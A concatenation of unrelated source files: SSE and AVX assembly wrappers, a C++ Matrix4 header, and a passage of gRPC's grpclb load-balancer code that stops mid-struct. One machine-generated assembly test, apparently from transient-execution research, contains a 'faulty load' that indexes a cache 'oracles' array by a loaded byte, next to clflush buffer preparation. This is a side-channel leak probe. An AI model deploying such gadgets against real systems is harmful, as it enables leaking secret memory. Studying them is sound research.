else
rpdisp textequ <rp0()>
endif
movlps mmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_store_mm_ps, callconv, void, < >, < >, OutPreal4_A:ptr xmmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPreal4_A
else
rpdisp textequ <rp0()>
endif
movaps xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPreal4_A, rpdisp
endif
ret
procend
procstart _uX_mm_store_pfloat_ps, callconv, void, < >, < >, OutPxmmword_A:ptr xmmword, InPreal4_B:ptr xmmword
ifdef __unix32__
rpdisp textequ <ecx>
rpdisp1 textequ <edx>
mov rpdisp1, InPreal4_B
mov rpdisp, OutPxmmword_A
else
rpdisp textequ <rp0()>
rpdisp1 textequ <rp1()>
endif
movaps xmm1, xmmword ptr [rpdisp1]
movaps xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPxmmword_A, rpdisp
endif
ret
procend
procstart _uX_mm_storeu_pfloat_ps, callconv, void, < >, < >, OutPxmmword_A:ptr xmmword, InPreal4_B:ptr xmmword
ifdef __unix32__
rpdisp textequ <ecx>
rpdisp1 textequ <edx>
mov rpdisp1, InPreal4_B
mov rpdisp, OutPxmmword_A
else
rpdisp textequ <rp0()>
rpdisp1 textequ <rp1()>
endif
movups xmm1, xmmword ptr [rpdisp1]
movups xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPxmmword_A, rpdisp
endif
ret
procend
;******************
; FP, moves
;******************
procstart _uX_mm_move_ss, callconv, xmmword, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
movaps xmm0, xmm0
movss xmm0, xmm1
ret
procend
procstart _uX_mm_move_ps1, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
shufps xmm0, xmm0, 0
ret
procend
procstart _uX_mm_move_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
ret
procend
procstart _uX_mm_mover_ps, callconv, xmmword, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
shufps xmm0, xmm0, shuffler4(3,2,1,0)
ret
procend
procstart _uX_ptr_move_mm_ss, callconv, ptr, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
movaps xmm0, xmm0
movss xmm0, xmm1
movaps xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_move_mm_ps1, callconv, ptr, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
shufps xmm0, xmm0, 0
movaps xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_move_mm_ps, callconv, ptr, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
movaps xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_mover_mm_ps, callconv, ptr, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
shufps xmm0, xmm0, shuffler4(3,2,1,0)
movaps xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_moveu_mm_ss, callconv, ptr, < >, < >, Inxmm_A:xmmword, Inxmm_B:xmmword
movaps xmm0, xmm0
movss xmm0, xmm1
movups xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_moveu_mm_ps1, callconv, ptr, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
shufps xmm0, xmm0, 0
movups xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_moveu_mm_ps, callconv, ptr, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
movups xmmword ptr [rret()], xmm0
ret
procend
procstart _uX_ptr_moveur_mm_ps, callconv, ptr, < >, < >, Inxmm_A:xmmword
movaps xmm0, xmm0
shufps xmm0, xmm0, shuffler4(3,2,1,0)
movups xmmword ptr [rret()], xmm0
ret
procend
;******************
; Cacheability support
;******************
procstart _uX_mm_prefetch_0, callconv, void, < >, < >, InPInt8_A:ptr byte
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPInt8_A
else
rpdisp textequ <rp0()>
endif
prefetchnta byte ptr [rpdisp]
ret
procend
procstart _uX_mm_prefetch_1, callconv, void, < >, < >, InPInt8_A:ptr byte
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPInt8_A
else
rpdisp textequ <rp0()>
endif
prefetcht0 byte ptr [rpdisp]
ret
procend
procstart _uX_mm_prefetch_2, callconv, void, < >, < >, InPInt8_A:ptr byte
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPInt8_A
else
rpdisp textequ <rp0()>
endif
prefetcht1 byte ptr [rpdisp]
ret
procend
procstart _uX_mm_prefetch_3, callconv, void, < >, < >, InPInt8_A:ptr byte
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InPInt8_A
else
rpdisp textequ <rp0()>
endif
prefetcht2 byte ptr [rpdisp]
ret
procend
procstart _uX_mm_prefetch, callconv, void, < >, < >, InPInt8_A:ptr byte, InInt_BSel:count_t
push rbase()
ifdef __unix32__
rpdisp textequ <ecx>
rpdisp1 textequ <edx>
bpdisp1 textequ <dl>
mov rpdisp, InPInt8_A
mov rpdisp1, InInt_BSel
else
rpdisp textequ <rp0()>
rpdisp1 textequ <rp1()>
bpdisp1 textequ <bp1()>
endif
.if((rpdisp1 < 0) || (rpdisp1 > 3))
jmp _m128prefetch_end
.endif
ifdef __x32__
movzx rbase(), bpdisp1
jmp dword ptr [_m128prefetchjmptable+rbase()*size_t_size]
endif
ifdef __x64__
lea rbase(), qword ptr [_m128prefetchjmptable]
mov rbase(), qword ptr [rbase()+rp1()*size_t_size]
jmp rbase()
endif
_m128prefetch_0 label size_t
prefetchnta byte ptr [rpdisp]
jmp _m128prefetch_end
_m128prefetch_1 label size_t
prefetcht0 byte ptr [rpdisp]
jmp _m128prefetch_end
_m128prefetch_2 label size_t
prefetcht1 byte ptr [rpdisp]
jmp _m128prefetch_end
_m128prefetch_3 label size_t
prefetcht2 byte ptr [rpdisp]
jmp _m128prefetch_end
_m128prefetch_end:
pop rbase()
ret
procend
ifdef __x32__
alignmmfieldproc
procstart _uX_mm_stream_pi, callconv, void, < >, < >, OutPmm_A:ptr mmword, Inmm_B:mmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPmm_A
else
rpdisp textequ <rp0()>
endif
movntq mmword ptr [rpdisp], mm1
ifdef __unix32__
mov OutPmm_A, rpdisp
endif
ret
procend
alignxmmfieldproc
endif ;__x32__
procstart _uX_mm_stream_ps, callconv, void, < >, < >, OutPxmm_A:ptr xmmword, Inxmm_B:xmmword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, OutPxmm_A
else
rpdisp textequ <rp0()>
endif
movntps xmmword ptr [rpdisp], xmm1
ifdef __unix32__
mov OutPxmm_A, rpdisp
endif
ret
procend
procstart _uX_mm_sfence, callconv, void, < >, < >, < >
sfence
ret
procend
procstart _uX_mm_getcsr, callconv, dword, < >, < >, < >
stmxcsr dword ptr [rret()]
ret
procend
procstart _uX_mm_setcsr, callconv, void, < >, < >, InInt_A:dword
ifdef __unix32__
rpdisp textequ <ecx>
mov rpdisp, InInt_A
else
rpdisp textequ <rp0()>
endif
ldmxcsr dword ptr [rpdisp]
ret
procend
endif ;__MIC__
end
|
/*
Copyright 2009-2021 Nicolas Colombe
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#pragma once
namespace eXl
{
template <typename Real>
class Vector3;
template <typename Real>
class Vector4;
template <typename Real>
class Quaternion;
template <typename Real>
class Matrix4
{
public:
Matrix4 ();
Matrix4 (bool makeZero);
Matrix4 (const Matrix4& mat);
Matrix4 (
Real m00, Real m01, Real m02, Real m03,
Real m10, Real m11, Real m12, Real m13,
Real m20, Real m21, Real m22, Real m23,
Real m30, Real m31, Real m32, Real m33);
Matrix4 (const Real entry[16]);
static Matrix4<Real> FromPosition(Vector3<Real> const&);
static Matrix4<Real> FromPositionAndOrientation(Vector3<Real> const&, Quaternion<Real> const& iOrient);
Matrix4& operator= (const Matrix4& mat);
void MakeZero ();
void MakeIdentity ();
Matrix4 operator+ (const Matrix4& mat) const;
Matrix4 operator- (const Matrix4& mat) const;
Matrix4 operator* (Real scalar) const;
Matrix4 operator/ (Real scalar) const;
Matrix4 operator- () const;
Matrix4& operator+= (const Matrix4& mat);
Matrix4& operator-= (const Matrix4& mat);
Matrix4& operator*= (Real scalar);
Matrix4& operator/= (Real scalar);
// M*vec
Vector4<Real> operator* (const Vector4<Real>& vec) const;
//// u^T*M*v
//Real QForm (const Vector4<Real>& u, const Vector4<Real>& v) const;
Matrix4 Transpose () const;
Matrix4 operator* (const Matrix4& mat) const;
Matrix4 TransposeTimes (const Matrix4& mat) const;
Matrix4 TimesTranspose (const Matrix4& mat) const;
Matrix4 TransposeTimesTranspose (const Matrix4& mat) const;
Matrix4 Inverse (const Real epsilon = (Real)0) const;
Matrix4 Adjoint () const;
Real Determinant () const;
void MakeObliqueProjection (const Vector3<Real>& normal,
const Vector3<Real>& origin, const Vector3<Real>& direction);
void MakePerspectiveProjection (const Vector3<Real>& normal,
const Vector3<Real>& origin, const Vector3<Real>& eye);
void MakeReflection (const Vector3<Real>& normal,
const Vector3<Real>& origin);
static const Matrix4 ZERO;
static const Matrix4 IDENTITY;
//protected:
union
{
Real m_Data[16];
Real m_Matrix[4][4];
};
};
template <typename Real>
inline Matrix4<Real> operator* (Real scalar, const Matrix4<Real>& mat);
template <typename Real>
inline Vector4<Real> operator* (const Vector4<Real>& vec,
const Matrix4<Real>& mat);
typedef Matrix4<float> Matrix4f;
typedef Matrix4<double> Matrix4d;
}
#include "math.hpp"
namespace eXl
{
#include "matrix4.inl"
}
|
;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
; PERFORMANCE OF THIS SOFTWARE.
;
; .globl vrcpps_avx
; void vrcpps_avx(float *in1, float *in2, float *out, size_t len)
; On entry:
; rcx = in1
; rdx = in2
; r8 = out
; r9 = len
.code
vrcpps_avx PROC public
push rbx
mov rax, rcx
mov rbx, rdx
mov rdx, r9
shl rdx, 2 ; rdx is size of inputs in bytes
mov r9, r8
xor r8, r8
loop1:
vmovups ymm0, [rax+r8]
vmovups ymm1, [rbx+r8]
vrcpps ymm1, ymm1
vmulps ymm0, ymm0, ymm1
vmovups [r9+r8], ymm0
add r8, 32
cmp r8, rdx
jl loop1
vzeroupper
pop rbx
ret
vrcpps_avx ENDP
end |
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x7b56, %r9
nop
nop
inc %rsi
vmovups (%r9), %ymm7
vextracti128 $1, %ymm7, %xmm7
vpextrq $1, %xmm7, %rbx
nop
nop
nop
sub %rcx, %rcx
lea addresses_WT_ht+0x10a46, %r9
nop
sub $26227, %r13
movb $0x61, (%r9)
xor %rcx, %rcx
lea addresses_UC_ht+0xd48c, %r13
sub $64256, %rsi
mov $0x6162636465666768, %r11
movq %r11, (%r13)
nop
xor $23744, %rsi
lea addresses_WT_ht+0x9356, %r9
nop
nop
xor %r12, %r12
mov (%r9), %r11d
nop
nop
cmp $64857, %rbx
lea addresses_normal_ht+0x8656, %rsi
lea addresses_UC_ht+0x1544e, %rdi
nop
nop
nop
nop
dec %rbx
mov $94, %rcx
rep movsq
nop
nop
nop
nop
sub $50244, %r9
lea addresses_UC_ht+0x1595e, %rdi
dec %r9
mov (%rdi), %r12d
nop
nop
nop
nop
cmp $11929, %r11
lea addresses_UC_ht+0x1656, %rcx
nop
nop
sub $27010, %r13
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
and $0xffffffffffffffc0, %rcx
movntdq %xmm7, (%rcx)
nop
nop
cmp %r13, %r13
lea addresses_A_ht+0x196b6, %rsi
lea addresses_normal_ht+0x1a256, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
sub %r11, %r11
mov $89, %rcx
rep movsw
nop
sub %r12, %r12
lea addresses_normal_ht+0x1d656, %rsi
nop
nop
and %r9, %r9
mov $0x6162636465666768, %r13
movq %r13, (%rsi)
nop
nop
nop
nop
xor $30818, %r11
lea addresses_A_ht+0x1056, %r12
nop
add $60731, %r11
mov $0x6162636465666768, %rbx
movq %rbx, (%r12)
nop
inc %rcx
lea addresses_normal_ht+0x4656, %r12
clflush (%r12)
nop
xor %r9, %r9
movups (%r12), %xmm1
vpextrq $0, %xmm1, %rdi
nop
nop
xor %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r15
push %rax
push %rcx
// Store
lea addresses_normal+0xa256, %rax
nop
nop
nop
sub $61792, %r10
movb $0x51, (%rax)
nop
nop
nop
sub %r11, %r11
// Faulty Load
lea addresses_WC+0xd656, %rax
xor %r15, %r15
vmovups (%rax), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %r13
lea oracles, %rcx
and $0xff, %r13
shlq $12, %r13
mov (%rcx,%r13,1), %r13
pop %rcx
pop %rax
pop %r15
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_normal', 'same': False, 'AVXalign': False, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': False, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 1}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 8}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 2}}
{'OP': 'LOAD', 'src': {'size': 4, 'NT': False, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 16, 'NT': True, 'type': 'addresses_UC_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 4}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 8}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 16, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
/*
*
* Copyright 2016 gRPC authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
/** Implementation of the gRPC LB policy.
*
* This policy takes as input a set of resolved addresses {a1..an} for which the
* LB set was set (it's the resolver's responsibility to ensure this). That is
* to say, {a1..an} represent a collection of LB servers.
*
* An internal channel (\a glb_lb_policy.lb_channel) is created over {a1..an}.
* This channel behaves just like a regular channel. In particular, the
* constructed URI over the addresses a1..an will use the default pick first
* policy to select from this list of LB server backends.
*
* The first time the policy gets a request for a pick, a ping, or to exit the
* idle state, \a query_for_backends_locked() is called. This function sets up
* and initiates the internal communication with the LB server. In particular,
* it's responsible for instantiating the internal *streaming* call to the LB
* server (whichever address from {a1..an} pick-first chose). This call is
* serviced by two callbacks, \a lb_on_server_status_received and \a
* lb_on_response_received. The former will be called when the call to the LB
* server completes. This can happen if the LB server closes the connection or
* if this policy itself cancels the call (for example because it's shutting
* down). If the internal call times out, the usual behavior of pick-first
* applies, continuing to pick from the list {a1..an}.
*
* Upon sucesss, the incoming \a LoadBalancingResponse is processed by \a
* res_recv. An invalid one results in the termination of the streaming call. A
* new streaming call should be created if possible, failing the original call
* otherwise. For a valid \a LoadBalancingResponse, the server list of actual
* backends is extracted. A Round Robin policy will be created from this list.
* There are two possible scenarios:
*
* 1. This is the first server list received. There was no previous instance of
* the Round Robin policy. \a rr_handover_locked() will instantiate the RR
* policy and perform all the pending operations over it.
* 2. There's already a RR policy instance active. We need to introduce the new
* one build from the new serverlist, but taking care not to disrupt the
* operations in progress over the old RR instance. This is done by
* decreasing the reference count on the old policy. The moment no more
* references are held on the old RR policy, it'll be destroyed and \a
* glb_rr_connectivity_changed notified with a \a GRPC_CHANNEL_SHUTDOWN
* state. At this point we can transition to a new RR instance safely, which
* is done once again via \a rr_handover_locked().
*
*
* Once a RR policy instance is in place (and getting updated as described),
* calls to for a pick, a ping or a cancellation will be serviced right away by
* forwarding them to the RR instance. Any time there's no RR policy available
* (ie, right after the creation of the gRPCLB policy, if an empty serverlist is
* received, etc), pick/ping requests are added to a list of pending picks/pings
* to be flushed and serviced as part of \a rr_handover_locked() the moment the
* RR policy instance becomes available.
*
* \see https://github.com/grpc/grpc/blob/master/doc/load-balancing.md for the
* high level design and details. */
/* TODO(dgq):
* - Implement LB service forwarding (point 2c. in the doc's diagram).
*/
/* With the addition of a libuv endpoint, sockaddr.h now includes uv.h when
using that endpoint. Because of various transitive includes in uv.h,
including windows.h on Windows, uv.h must be included before other system
headers. Therefore, sockaddr.h must always be included first */
#include "src/core/lib/iomgr/sockaddr.h"
#include <inttypes.h>
#include <limits.h>
#include <string.h>
#include <grpc/byte_buffer_reader.h>
#include <grpc/grpc.h>
#include <grpc/support/alloc.h>
#include <grpc/support/host_port.h>
#include <grpc/support/string_util.h>
#include <grpc/support/time.h>
#include "src/core/ext/filters/client_channel/client_channel.h"
#include "src/core/ext/filters/client_channel/client_channel_factory.h"
#include "src/core/ext/filters/client_channel/lb_policy/grpclb/client_load_reporting_filter.h"
#include "src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb.h"
#include "src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb_channel.h"
#include "src/core/ext/filters/client_channel/lb_policy/grpclb/grpclb_client_stats.h"
#include "src/core/ext/filters/client_channel/lb_policy/grpclb/load_balancer_api.h"
#include "src/core/ext/filters/client_channel/lb_policy_factory.h"
#include "src/core/ext/filters/client_channel/lb_policy_registry.h"
#include "src/core/ext/filters/client_channel/parse_address.h"
#include "src/core/ext/filters/client_channel/resolver/fake/fake_resolver.h"
#include "src/core/ext/filters/client_channel/subchannel_index.h"
#include "src/core/lib/backoff/backoff.h"
#include "src/core/lib/channel/channel_args.h"
#include "src/core/lib/channel/channel_stack.h"
#include "src/core/lib/iomgr/combiner.h"
#include "src/core/lib/iomgr/sockaddr.h"
#include "src/core/lib/iomgr/sockaddr_utils.h"
#include "src/core/lib/iomgr/timer.h"
#include "src/core/lib/slice/slice_hash_table.h"
#include "src/core/lib/slice/slice_internal.h"
#include "src/core/lib/slice/slice_string_helpers.h"
#include "src/core/lib/support/string.h"
#include "src/core/lib/surface/call.h"
#include "src/core/lib/surface/channel.h"
#include "src/core/lib/surface/channel_init.h"
#include "src/core/lib/transport/static_metadata.h"
#define GRPC_GRPCLB_MIN_CONNECT_TIMEOUT_SECONDS 20
#define GRPC_GRPCLB_INITIAL_CONNECT_BACKOFF_SECONDS 1
#define GRPC_GRPCLB_RECONNECT_BACKOFF_MULTIPLIER 1.6
#define GRPC_GRPCLB_RECONNECT_MAX_BACKOFF_SECONDS 120
#define GRPC_GRPCLB_RECONNECT_JITTER 0.2
#define GRPC_GRPCLB_DEFAULT_FALLBACK_TIMEOUT_MS 10000
grpc_tracer_flag grpc_lb_glb_trace = GRPC_TRACER_INITIALIZER(false, "glb");
/* add lb_token of selected subchannel (address) to the call's initial
* metadata */
static grpc_error *initial_metadata_add_lb_token(
grpc_exec_ctx *exec_ctx, grpc_metadata_batch *initial_metadata,
grpc_linked_mdelem *lb_token_mdelem_storage, grpc_mdelem lb_token) {
GPR_ASSERT(lb_token_mdelem_storage != NULL);
GPR_ASSERT(!GRPC_MDISNULL(lb_token));
return grpc_metadata_batch_add_tail(exec_ctx, initial_metadata,
lb_token_mdelem_storage, lb_token);
}
static void destroy_client_stats(void *arg) {
grpc_grpclb_client_stats_unref((grpc_grpclb_client_stats *)arg);
}
typedef struct wrapped_rr_closure_arg {
/* the closure instance using this struct as argument */
grpc_closure wrapper_closure;
/* the original closure. Usually a on_complete/notify cb for pick() and ping()
* calls against the internal RR instance, respectively. */
grpc_closure *wrapped_closure;
/* the pick's initial metadata, kept in order to append the LB token for the
* pick */
grpc_metadata_batch *initial_metadata;
/* the picked target, used to determine which LB token to add to the pick's
* initial metadata */
grpc_connected_subchannel **target;
/* the context to be populated for the subchannel call */
grpc_call_context_element *context;
/* Stats for client-side load reporting. Note that this holds a
* reference, which must be either passed on via context or unreffed. */
grpc_grpclb_client_stats *client_stats;
/* the LB token associated with the pick */
grpc_mdelem lb_token;
/* storage for the lb token initial metadata mdelem */
grpc_linked_mdelem *lb_token_mdelem_storage;
/* The RR instance related to the closure */
grpc_lb_policy *rr_policy;
/* heap memory to be freed upon closure execution. */
void *free_when_done;
} wrapped_rr_closure_arg;
/* The \a on_complete closure passed as part of the pick requires keeping a
* reference to its associated round robin instance. We wrap this closure in
* order to unref the round robin instance upon its invocation */
static void wrapped_rr_closure(grpc_exec_ctx *exec_ctx, void *arg,
grpc_error *error) {
wrapped_rr_closure_arg *wc_arg = (wrapped_rr_closure_arg *)arg;
GPR_ASSERT(wc_arg->wrapped_closure != NULL);
GRPC_CLOSURE_SCHED(exec_ctx, wc_arg->wrapped_closure, GRPC_ERROR_REF(error));
if (wc_arg->rr_policy != NULL) {
/* if *target is NULL, no pick has been made by the RR policy (eg, all
* addresses failed to connect). There won't be any user_data/token
* available */
if (*wc_arg->target != NULL) {
if (!GRPC_MDISNULL(wc_arg->lb_token)) {
initial_metadata_add_lb_token(exec_ctx, wc_arg->initial_metadata,
wc_arg->lb_token_mdelem_storage,
GRPC_MDELEM_REF(wc_arg->lb_token));
} else {
gpr_log(GPR_ERROR,
"No LB token for connected subchannel pick %p (from RR "
"instance %p).",
(void *)*wc_arg->target, (void *)wc_arg->rr_policy);
abort();
}
// Pass on client stats via context. Passes ownership of the reference.
GPR_ASSERT(wc_arg->client_stats != NULL);
wc_arg->context[GRPC_GRPCLB_CLIENT_STATS].value = wc_arg->client_stats;
wc_arg->context[GRPC_GRPCLB_CLIENT_STATS].destroy = destroy_client_stats;
} else {
grpc_grpclb_client_stats_unref(wc_arg->client_stats);
}
if (GRPC_TRACER_ON(grpc_lb_glb_trace)) {
gpr_log(GPR_INFO, "Unreffing RR %p", (void *)wc_arg->rr_policy);
}
GRPC_LB_POLICY_UNREF(exec_ctx, wc_arg->rr_policy, "wrapped_rr_closure");
}
GPR_ASSERT(wc_arg->free_when_done != NULL);
gpr_free(wc_arg->free_when_done);
}
/* Linked list of pending pick requests. It stores all information needed to
* eventually call (Round Robin's) pick() on them. They mainly stay pending
* waiting for the RR policy to be created/updated.
*
* One particularity is the wrapping of the user-provided \a on_complete closure
* (in \a wrapped_on_complete and \a wrapped_on_complete_arg). This is needed in
* order to correctly unref the RR policy instance upon completion of the pick.
* See \a wrapped_rr_closure for details. */
typedef struct pending_pick {
struct pending_pick *next;
/* original pick()'s arguments */
grpc_lb_policy_pick_args pick_args;
